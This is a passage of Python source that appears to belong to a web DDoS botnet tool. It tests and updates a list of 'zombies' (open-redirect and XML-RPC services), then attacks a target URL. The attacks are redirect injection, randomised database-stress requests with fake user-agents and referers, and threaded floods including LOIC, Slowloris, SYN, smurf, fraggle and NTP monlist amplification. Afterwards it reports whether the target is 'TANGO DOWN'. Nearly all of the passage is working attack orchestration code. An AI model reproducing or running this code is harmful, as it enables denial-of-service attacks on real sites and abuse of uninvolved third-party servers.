5451
# list of [Zombies] ready to attack
5452
num_active_zombie = 0
5453
for z in zombies_ready:
5454
t = urlparse(z)
5455
name_zombie = t.netloc
5456
if name_zombie == "":
5457
name_zombie = z
5458
num_active_zombie = num_active_zombie + 1
5459
if self.options.verbose:
5460
print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
5461
if self.options.testall: # testing_all
5462
return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
5463
else:
5464
print('-'*25 + "\n")
5465
print('='*24)
5466
print("Working [Zombies]:", num_active_zombie)
5467
print('='*24)
5468
if not self.options.upload:
5469
if not self.options.forceyes:
5470
update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
5471
print('-'*25)
5472
else:
5473
update_reply = "Y"
5474
if update_reply == "n" or update_reply == "N":
5475
print("[AI] "+self.exit_msg+"\n")
5476
return
5477
else:
5478
self.update_zombies(zombies_ready)
5479
if not self.options.upload:
5480
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
5481
self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
5482
else:
5483
print('-'*25 + "\n")
5484
print('='*24)
5485
print("Working [Zombies]:", num_active_zombies)
5486
print('='*24)
5487
print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
5488
5489
def testing_all(self):
5490
# test whole botnet
5491
print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
5492
print('='*35)
5493
zombies = self.extract_zombies()
5494
rpcs = self.extract_rpcs()
5495
aliens = self.extract_aliens()
5496
droids = self.extract_droids()
5497
ucavs = self.extract_ucavs()
5498
try:
5499
botnet = zombies + rpcs + aliens + droids + ucavs
5500
tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
5501
except:
5502
return
5503
zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
5504
rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
5505
print("\n" + '='*52)
5506
print("\n+ Total Botnet:", len(botnet))
5507
print("\n" + '-'*25)
5508
print("\n+ Total Tested:", len(tested_zombies))
5509
print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
5510
print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
5511
print('='*52 + '\n')
5512
if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
5513
if not self.options.forceyes:
5514
update_reply = input("[AI] Do you want update your army? (Y/n)")
5515
print('-'*25)
5516
else:
5517
update_reply = "Y"
5518
if update_reply == "n" or update_reply == "N":
5519
print("[AI] "+self.exit_msg+"\n")
5520
return
5521
else:
5522
if num_disconnected_zombies > 0:
5523
self.update_zombies(zombies_ready)
5524
if num_failed_rpcs > 0:
5525
self.update_rpcs(rpcs_ready)
5526
if not self.options.upload:
5527
print("\n[Info] [AI] Botnet updated! -> ;-)\n")
5528
else:
5529
print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
5530
5531
def attacking(self, zombies, target):
5532
# perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
5533
if self.options.forcessl:
5534
if target.startswith("http://"):
5535
target = target.replace("http://", "https://") # force SSL/TLS
5536
if target.startswith("http://") or target.startswith("https://"):
5537
print("Attacking:", target)
5538
print('='*55, "\n")
5539
# send Open Redirect injection (multiple zombies > one target url)
5540
reply = self.injection(target, zombies)
5541
else:
5542
print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
5543
5544
def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
5545
# perform some other extra attacks (such as DoS techniques)
5546
time.sleep(2) # aiming (multi-threading flow time compensation)
5547
if loic:
5548
try:
5549
self.options.loic = int(loic)
5550
except:
5551
self.options.loic = 100 # default LOIC requests
5552
if self.options.loic < 1:
5553
self.options.loic = 100
5554
self.instance = LOIC() # instance main class for LOIC operations
5555
self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
5556
self.t1.daemon = True # extra weapons are threaded as daemons
5557
self.t1.start()
5558
self.update_loic_stats() # add new LOIC attack to mothership stats
5559
if loris:
5560
try:
5561
self.options.loris = int(loris)
5562
except:
5563
self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
5564
if self.options.loris < 1:
5565
self.options.loris = 101
5566
self.instance = LORIS() # instance main class for LORIS operations
5567
self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
5568
self.t2.daemon = True
5569
self.t2.start()
5570
self.update_loris_stats() # add new LORIS attack to mothership stats
5571
if ufosyn:
5572
try:
5573
self.options.ufosyn = int(ufosyn)
5574
except:
5575
self.options.ufosyn = 100 # default UFOSYN requests
5576
if self.options.ufosyn < 1:
5577
self.options.ufosyn = 100
5578
self.instance = UFOSYN() # instance main class for UFOSYN operations
5579
self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
5580
self.t3.daemon = True
5581
self.t3.start()
5582
self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
5583
if spray:
5584
try:
5585
self.options.spray = int(spray)
5586
except:
5587
self.options.spray = 100 # default SPRAY requests
5588
if self.options.spray < 1:
5589
self.options.spray = 100
5590
self.instance = SPRAY() # instance main class for SPRAY operations
5591
self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
5592
self.t4.daemon = True
5593
self.t4.start()
5594
self.update_spray_stats() # add new SPRAY attack to mothership stats
5595
if smurf:
5596
try:
5597
self.options.smurf = int(smurf)
5598
except:
5599
self.options.smurf = 101 # default SMURF requests
5600
if self.options.smurf < 1:
5601
self.options.smurf = 101
5602
self.instance = SMURF() # instance main class for SMURF operations
5603
self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
5604
self.t5.daemon = True
5605
self.t5.start()
5606
self.update_smurf_stats() # add new SMURF attack to mothership stats
5607
if xmas:
5608
try:
5609
self.options.xmas = int(xmas)
5610
except:
5611
self.options.xmas = 101 # default XMAS requests
5612
if self.options.xmas < 1:
5613
self.options.xmas = 101
5614
self.instance = XMAS() # instance main class for XMAS operations
5615
self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
5616
self.t6.daemon = True
5617
self.t6.start()
5618
self.update_xmas_stats() # add new XMAS attack to mothership stats
5619
if nuke:
5620
if sys.platform == "linux" or sys.platform == "linux2":
5621
try:
5622
self.options.nuke = int(nuke)
5623
except:
5624
self.options.nuke = 10000 # default NUKE requests
5625
if self.options.nuke < 1:
5626
self.options.nuke = 10000
5627
self.instance = NUKE() # instance main class for NUKE operations
5628
self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
5629
self.t7.daemon = True # extra weapons are threaded as daemons
5630
self.t7.start()
5631
self.update_nuke_stats() # add new NUKE attack to mothership stats
5632
else:
5633
print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
5634
if tachyon:
5635
try:
5636
self.options.tachyon = int(tachyon)
5637
except:
5638
self.options.tachyon = 1000 # default TACHYON requests
5639
if self.options.tachyon < 1:
5640
self.options.tachyon = 1000
5641
self.instance = TACHYON() # instance main class for TACHYON operations
5642
self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
5643
self.t8.daemon = True
5644
self.t8.start()
5645
self.update_tachyon_stats() # add new TACHYON attack to mothership stats
5646
if monlist:
5647
try:
5648
self.options.monlist = int(monlist)
5649
except:
5650
self.options.monlist = 1000 # default MONLIST requests
5651
if self.options.monlist < 1:
5652
self.options.monlist = 1000
5653
self.instance = MONLIST() # instance main class for MONLIST operations
5654
self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
5655
self.t9.daemon = True
5656
self.t9.start()
5657
self.update_monlist_stats() # add new MONLIST attack to mothership stats
5658
if ufoack:
5659
try:
5660
self.options.ufoack = int(ufoack)
5661
except:
5662
self.options.ufoack = 101 # default UFOACK requests
5663
if self.options.ufoack < 1:
5664
self.options.ufoack = 101
5665
self.instance = UFOACK() # instance main class for UFOACK operations
5666
self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
5667
self.t10.daemon = True
5668
self.t10.start()
5669
self.update_ufoack_stats() # add new UFOACK attack to mothership stats
5670
if uforst:
5671
try:
5672
self.options.uforst = int(uforst)
5673
except:
5674
self.options.uforst = 101 # default UFORST requests
5675
if self.options.uforst < 1:
5676
self.options.uforst = 101
5677
self.instance = UFORST() # instance main class for UFORST operations
5678
self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
5679
self.t11.daemon = True
5680
self.t11.start()
5681
self.update_uforst_stats() # add new UFORST attack to mothership stats
5682
if droper:
5683
try:
5684
self.options.droper = int(droper)
5685
except:
5686
self.options.droper = 101 # default DROPER requests
5687
if self.options.droper < 1:
5688
self.options.droper = 101
5689
self.instance = DROPER() # instance main class for DROPER operations
5690
self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
5691
self.t12.daemon = True
5692
self.t12.start()
5693
self.update_droper_stats() # add new DROPER attack to mothership stats
5694
if overlap:
5695
try:
5696
self.options.overlap = int(overlap)
5697
except:
5698
self.options.overlap = 101 # default OVERLAP requests
5699
if self.options.overlap < 1:
5700
self.options.overlap = 101
5701
self.instance = OVERLAP() # instance main class for OVERLAP operations
5702
self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
5703
self.t13.daemon = True
5704
self.t13.start()
5705
self.update_overlap_stats() # add new OVERLAP attack to mothership stats
5706
if pinger:
5707
try:
5708
self.options.pinger = int(pinger)
5709
except:
5710
self.options.pinger = 101 # default PINGER requests
5711
if self.options.pinger < 1:
5712
self.options.pinger = 101
5713
self.instance = PINGER() # instance main class for PINGER operations
5714
self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
5715
self.t14.daemon = True
5716
self.t14.start()
5717
self.update_pinger_stats() # add new PINGER attack to mothership stats
5718
if ufoudp:
5719
try:
5720
self.options.ufoudp = int(ufoudp)
5721
except:
5722
self.options.ufoudp = 101 # default UFOUDP requests
5723
if self.options.ufoudp < 1:
5724
self.options.ufoudp = 101
5725
self.instance = UFOUDP() # instance main class for UFOUDP operations
5726
self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
5727
self.t15.daemon = True
5728
self.t15.start()
5729
self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
5730
if fraggle:
5731
try:
5732
self.options.fraggle = int(fraggle)
5733
except:
5734
self.options.fraggle = 101 # default FRAGGLE requests
5735
if self.options.fraggle < 1:
5736
self.options.fraggle = 101
5737
self.instance = FRAGGLE() # instance main class for FRAGGLE operations
5738
self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
5739
self.t16.daemon = True
5740
self.t16.start()
5741
self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
5742
if sniper:
5743
try:
5744
self.options.sniper = int(sniper)
5745
except:
5746
self.options.sniper = 101 # default SNIPER requests
5747
if self.options.sniper < 1:
5748
self.options.sniper = 101
5749
self.instance = SNIPER() # instance main class for SNIPER operations
5750
self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
5751
self.t17.daemon = True
5752
self.t17.start()
5753
self.update_sniper_stats() # add new SNIPER attack to mothership stats
5754
5755
def stressing(self, target, zombie):
5756
# perform a DDoS Web attack against a target, requesting records on target's database
5757
options = self.options
5758
db_input = self.options.dbstress
5759
def random_key(length):
5760
key = ''
5761
for i in range(length):
5762
key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
5763
return key
5764
# generating random alphanumeric queries
5765
if self.db_flash > 9: # set db flash start on: 10
5766
length = 1024 # search a heavy random length query (db flash): 1024
5767
self.db_flash = 0 # reset db flash counter
5768
else:
5769
length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
5770
key = str(random_key(length))
5771
if self.db_flash > 9:
5772
print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
5773
else:
5774
print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
5775
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
5776
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
5777
if not target.endswith('/'): # add "/" to end of target
5778
target = target + "/"
5779
url = zombie + target + db_input + key
5780
req = urllib.request.Request(url, None, headers)
5781
if options.proxy: # set proxy
5782
self.proxy_transport(options.proxy)
5783
try:
5784
req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
5785
except urllib.error.HTTPError as e:
5786
if e.code == 401:
5787
print('[Info] [AI] [DBStress] Not authorized')
5788
elif e.code == 404:
5789
print('[Info] [AI] [DBStress] Not found')
5790
elif e.code == 503:
5791
print('[Info] [AI] [DBStress] Service unavailable')
5792
else:
5793
print('[Info] [AI] [DBStress] Unknown error')
5794
else:
5795
print('[Info] [AI] [DBStress] Database query: HIT!')
5796
5797
def attackme(self, zombies):
5798
# perform a DDoS Web attack against yourself
5799
print("[AI] Starting local port to listening at: " + self.port + "\n")
5800
print('='*21 + "\n")
5801
self.doll=Doll(self)
5802
self.doll.start()
5803
while not self.doll._armed:
5804
time.sleep(1)
5805
# send Open Redirect injection (multiple zombies-multiple target urls)
5806
target = ""
5807
self.injection(target, zombies)
5808
self.doll.shutdown()
5809
self.doll.join()
5810
self.herd.list_fails()
5811
5812
def check_target_status(self):
5813
if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
5814
print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
5815
if not self.options.forceyes:
5816
update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
5817
print("\n" + '-'*25)
5818
else:
5819
update_reply = "N"
5820
if update_reply == "y" or update_reply == "Y":
5821
try: # send HEAD connection
5822
self.head = True
5823
reply = self.connect_zombie(target)
5824
self.head = False
5825
if reply:
5826
print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
5827
else:
5828
print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
5829
self.update_targets_crashed() # update targets crashed stats
5830
self.update_mothership_stats() # update mothership completed attack stats
5831
except Exception:
5832
print("\n[Error] [AI] Something wrong with your connection!...\n")
5833
if DEBUG == True:
5834
traceback.print_exc()
5835
return
5836
else:
5837
print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
5838
self.update_targets_crashed() # update targets crashed stats
5839
self.update_mothership_stats() # update mothership completed attack stats
5840
return
5841
5842
def starting_target_check(self, target, head_check):
5843
options = self.options
5844
head_check_here = False
5845
head_check_external = False
5846
if options.disablehead: # check at start is disabled (skipping!)
5847
print("[Info] [AI] Skipping external check...\n")
5848
head_check_here = True
5849
head_check_external = True
5850
else:
5851
if head_check:
5852
if not options.attackme:
5853
print("[AI] Launching: 'Is target up?' check...\n")
5854
try: # send HEAD connection
5855
self.head = True
5856
reply = self.connect_zombie(target)
5857
self.head = False
5858
if reply:
5859
print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
5860
head_check_here = True
5861
else:
5862
print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
5863
head_check_here = False
5864
except Exception:
5865
print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
5866
if DEBUG == True:
5867
traceback.print_exc()
5868
head_check_here = False
5869
else: # check if local IP/PORT is listening on mothership
5870
print("[AI] Launching: 'Is NAT ready?' check...\n")
5871
try:
5872
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
5873
result = sock.connect_ex(('0.0.0.0',8080))
5874
if result == 0 or result == 110: # black magic
5875
print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
5876
head_check_here = True
5877
else:
5878
print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
5879
head_check_here = False
5880
except Exception:
5881
print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
5882
if DEBUG == True:
5883
traceback.print_exc()
5884
head_check_here = False
5885
else:
5886
head_check_here = True
5887
# check target using external check services
5888
self.external = True
5889
if not options.attackme:
5890
try:
5891
target = self.parse_url_encoding(target) # parse for proper url encoding
5892
if target.startswith("http://"):
5893
target = target.replace("http://", "")
5894
else:
5895
target = target.replace("https://", "")
5896
try:
5897
url = self.external_check_service1 + target # check from external service [1] [23/07/2022]
5898
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
5899
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
5900
if options.proxy: # set proxy
5901
self.proxy_transport(options.proxy)
5902
req = urllib.request.Request(url, None, headers)
5903
external_reply = urllib.request.urlopen(req, context=self.ctx).read()
5904
if b"is UP and reachable" in external_reply:
5905
t = urlparse(self.external_check_service1)
5906
name_external1 = t.netloc
5907
print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
5908
head_check_external = True
5909
except:
5910
url = self.external_check_service2 + target # check from external service [2]
5911
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
5912
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
5913
if options.proxy: # set proxy
5914
self.proxy_transport(options.proxy)
5915
req = urllib.request.Request(url, None, headers)
5916
try:
5917
req_reply = urllib.request.urlopen(req, context=self.ctx).read()
5918
if b"Currently Up" in req_reply:
5919
t = urlparse(self.external_check_service2)
5920
name_external2 = t.netloc
5921
print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
5922
head_check_external = True
5923
else:
5924
print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
5925
head_check_external = False
5926
except urllib.error.HTTPError as e:
5927
if e:
5928
print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
5929
print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
5930
head_check_external = False
5931
except Exception:
5932
print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
5933
if DEBUG == True:
5934
traceback.print_exc()
5935
head_check_external = False
5936
else:
5937
try: # check mothership from public ip / NAT using HEAD request
5938
try:
5939
req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
5940
reply = urllib.request.urlopen(req)
5941
except Exception:
5942
reply = None
5943
if reply:
5944
print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
5945
head_check_external = True
5946
else:
5947
print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
5948
head_check_external = False
5949
head_check_here = False # stop attack if not public IP available
5950
except Exception:
5951
print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
5952
head_check_here = False # stop attack if not public IP available
5953
if DEBUG == True:
5954
traceback.print_exc()
5955
head_check_external = False
5956
self.external = False
5957
return head_check_here, head_check_external
5958
5959
def injection(self, target, zombies, head_check = True):
5960
options = self.options
5961
# check target's integrity at start
5962
head_check_here, head_check_external = self.starting_target_check(target, head_check)
5963
# ask user to confirm the attack
5964
if head_check_here == True or head_check_external == True:
5965
if not self.options.forceyes:
5966
if not options.attackme:
5967
if not options.disablehead:
5968
start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
5969
else:
5970
start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
5971
else:
5972
if not options.disablehead:
5973
start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
5974
else:
5975
start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
5976
else:
5977
start_reply = "Y"
5978
if start_reply == "y" or start_reply == "Y":
5979
if options.attackme:
5980
total_rounds = 2 # default rounds for attackme
5981
else:
5982
total_rounds = options.rounds # extract number of rounds
5983
try:
5984
total_rounds = int(total_rounds)
5985
except:
5986
total_rounds = 1
5987
if not total_rounds:
5988
total_rounds = 1
5989
if total_rounds <= 0:
5990
total_rounds = 1
5991
self.herd.cleanup()
5992
num_round = 1
5993
num_hits = 0
5994
num_zombie = 1
5995
# start to attack the target with [MODS]
5996
if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
5997
ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
5998
ex.daemon = True # extra weapons are threaded as daemons
5999
ex.start()
6000
# start to attack the target with [ARMY]
6001
zombies = self.extract_zombies() # extract zombies from file
6002
if zombies:
6003
self.total_zombie = len(zombies)
6004
else:
6005
self.total_zombie = 0
6006
return
6007
self.herd=Herd(self)
6008
if not self.options.disablepurge:
6009
self.discardzombies = []
6010
self.discard_aliens = []
6011
self.discard_droids = []
6012
self.discard_rpcs = []
6013
self.discard_ucavs = []
6014
total_disc_zombies = 0
6015
self.num_discard_zombies = 0
6016
self.num_discard_aliens = 0
6017
self.num_discard_droids = 0
6018
self.num_discard_rpcs = 0
6019
self.num_discard_ucavs = 0
6020
self.empty_zombies = False
6021
for i in range(0, int(total_rounds)): # start attacking using rounds
6022
print ("\x1b[2J\x1b[H")# clear screen (black magic)
6023
print('='*42)
6024
print('Starting round:', num_round, ' of ', total_rounds)
6025
print('='*42)
6026
self.herd.reset()
6027
self.extra_zombies_lock = True
6028
self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
6029
self.send_zombies(zombies) # send [Zombies]
6030
if not self.options.attackme:
6031
if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
6032
if self.options.verbose:
6033
print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
6034
self.send_extra_zombies() # send [ARMY]
6035
while self.extra_zombies_lock == True:
6036
time.sleep(1) # wait for [ARMY] to return
6037
if self.options.verbose:
6038
print("\n" + '='*42)
6039
print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
6040
else:
6041
zombies_lock = 0
6042
if self.options.expire: # set timing for purge
6043
try:
6044
timing = int(self.options.expire)
6045
except:
6046
timing = self.expire_timing # default timing for purge
6047
else:
6048
timing = self.expire_timing # default timing for purge
6049
if timing < 1:
6050
timing = self.expire_timing # default timing for purge
6051
zombies_arrival_timing = timing # timing = trying to control round time for threading flow
6052
while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
6053
zombies_lock = zombies_lock + 1
6054
if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
6055
if self.options.verbose:
6056
print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
6057
break
6058
else:
6059
time.sleep(1)
6060
if self.options.verbose:
6061
print("\n" + '='*42)
6062
print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
6063
if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
6064
self.check_target_status()
6065
if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
6066
self.abandoning_zombies() # check for abandoning zombies
6067
for zombie in self.herd.done: # check for num hits
6068
if self.herd.connection_failed(zombie) == False:
6069
num_hits = num_hits + 1
6070
num_zombie = num_zombie + 1
6071
if num_zombie > self.total_zombie:
6072
num_zombie = 1
6073
if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
6074
check_is_loading = self.check_is_loading(target)
6075
self.herd.dump_html()
6076
if not self.options.disablepurge:
6077
if self.empty_zombies == True:
6078
break # exit routine when not any more zombies
6079
num_round = num_round + 1
6080
if self.options.verbose:
6081
print("\n" + '='*42)
6082
print("\n[Info] [AI] This battle is over! -> [Reporting!]")
6083
if self.options.loic: # try to stop daemons/threads for extra weapons
6084
self.t1.join()
6085
if self.options.loris:
6086
self.t2.join()
6087
if self.options.ufosyn:
6088
self.t3.join()
6089
if self.options.spray:
6090
self.t4.join()
6091
if self.options.smurf:
6092
self.t5.join()
6093
if self.options.xmas:
6094
self.t6.join()
6095
if self.options.nuke:
6096
self.t7.join()
6097
if self.options.tachyon:
6098
self.t8.join()
6099
if self.options.monlist:
6100
self.t9.join()
6101
if self.options.ufoack:
6102
self.t10.join()
6103
if self.options.uforst:
6104
self.t11.join()
6105
if self.options.droper:
6106
self.t12.join()
6107
if self.options.overlap:
6108
self.t13.join()
6109
if self.options.pinger:
6110
self.t14.join()
6111
if self.options.ufoudp:
6112
self.t15.join()
6113
if self.options.fraggle:
6114
self.t16.join()
6115
if self.options.sniper:
6116
self.t17.join()
6117
if self.options.target_list:
6118
self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
6119
print ("\x1b[2J\x1b[H") # black magic
6120
if not self.options.attackme: # show herd results
6121
self.herd.dump()
6122
else: # show doll results
6123
print('='*21)
6124
print("\n[Info] [AI] Mothership transmission...\n")
6125
num_real_zombies = len(self.doll.real_zombies)
6126
print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
6127
for z in self.doll.real_zombies: # show only alien verified zombies
6128
for x in z:
6129
print(" - " + str(x))
6130
self.herd.dump_html(True) # show (all) zombies statistics
6131
if not self.options.attackme:
6132
if not self.options.disablepurge:
6133
print("\n[Info] [AI] Report completed! -> [Purging!]\n")
6134
else:
6135
if not options.target_list:
6136
print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
6137
else:
6138
print("\n[Info] [AI] Report completed! -> [OK!]\n")
6139
self.update_mothership_stats() # update mothership stats
6140
if not self.options.disablepurge:
6141
print('='*21+ "\n")
6142
total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
6143
if total_disc_zombies > 0 and total_disc_zombies < 2:
6144
print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
6145
elif total_disc_zombies > 1:
6146
print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
6147
if self.num_discard_zombies > 0:
6148
print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
6149
if self.num_discard_aliens > 0:
6150
print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
6151
if self.num_discard_droids > 0:
6152
print(" + Droids : ["+ str(self.num_discard_droids)+"]")
6153
if self.num_discard_rpcs > 0:
6154
print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
6155
if self.num_discard_ucavs > 0:
6156
print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
6157
if total_disc_zombies > 0:
6158
if not self.options.forceyes:
6159
if total_disc_zombies > 0 and total_disc_zombies < 2:
6160
backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
6161
elif total_disc_zombies > 1:
6162
backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
6163
else:
6164
backup_reply = "Y"
6165
if backup_reply == "y" or backup_reply == "Y":
6166
print("\n[Info] [AI] Purging failed units from files...\n")
6167
discarded = []
6168
if self.num_discard_zombies > 0:
6169
for z in self.discardzombies:
6170
discarded.append(z)
6171
print(" + [Info] [Zombies] "+z+" -> [Purged!]")
6172
if self.num_discard_aliens > 0:
6173
for a in self.discard_aliens:
6174
discarded.append(a)
6175
print(" + [Info] [Aliens] "+a+" -> [Purged!]")
6176
if self.num_discard_droids > 0:
6177
for d in self.discard_droids:
6178
discarded.append(d)
6179
print(" + [Info] [Droids] "+d+" -> [Purged!]")
6180
if self.num_discard_rpcs > 0:
6181
for r in self.discard_rpcs:
6182
discarded.append(r)
6183
print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
6184
if self.num_discard_ucavs > 0:
6185
for u in self.discard_ucavs:
6186
discarded.append(u)
6187
print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
6188
disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
6189
if disc_zombies > 0 and disc_zombies < 2:
6190
print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
6191
elif disc_zombies > 1:
6192
print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
6193
if not self.options.target_list:
6194
print('-'*21+ "\n")
6195
print("[AI] "+self.exit_msg+"\n")
6196
if not self.options.web:
6197
return
6198
else:
6199
if self.num_target_list > 0: # still more targets
6200
print('-'*21+ "\n")
6201
print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
6202
return
6203
else: # finish attack from multiple targets
6204
print('-'*21+ "\n")
6205
print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
6206
print("\n"+ '='*21+ "\n")
6207
